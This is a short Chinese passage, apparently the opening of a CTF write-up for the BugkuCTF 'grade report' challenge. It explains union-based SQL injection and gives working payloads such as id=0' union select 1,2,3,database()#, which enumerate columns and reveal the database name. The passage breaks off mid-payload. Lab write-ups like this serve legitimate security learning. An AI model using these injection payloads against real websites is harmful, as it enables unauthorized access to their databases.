BugkuCTF 成績單

可以看出應該爲sql聯合注入 SQL注入之聯合查詢注入 要求查詢列數相同，其中有Name、Math、 English、Chinese 一共四個數據，因此需要select 1,2,3,4 構造語句 id=0' union select 1,2,3,4# 查詢數據庫 id=0' union select 1,2,3,database()#找到數據庫 skctf_flag 查詢數據表id=0' unio

>>阅读原文<<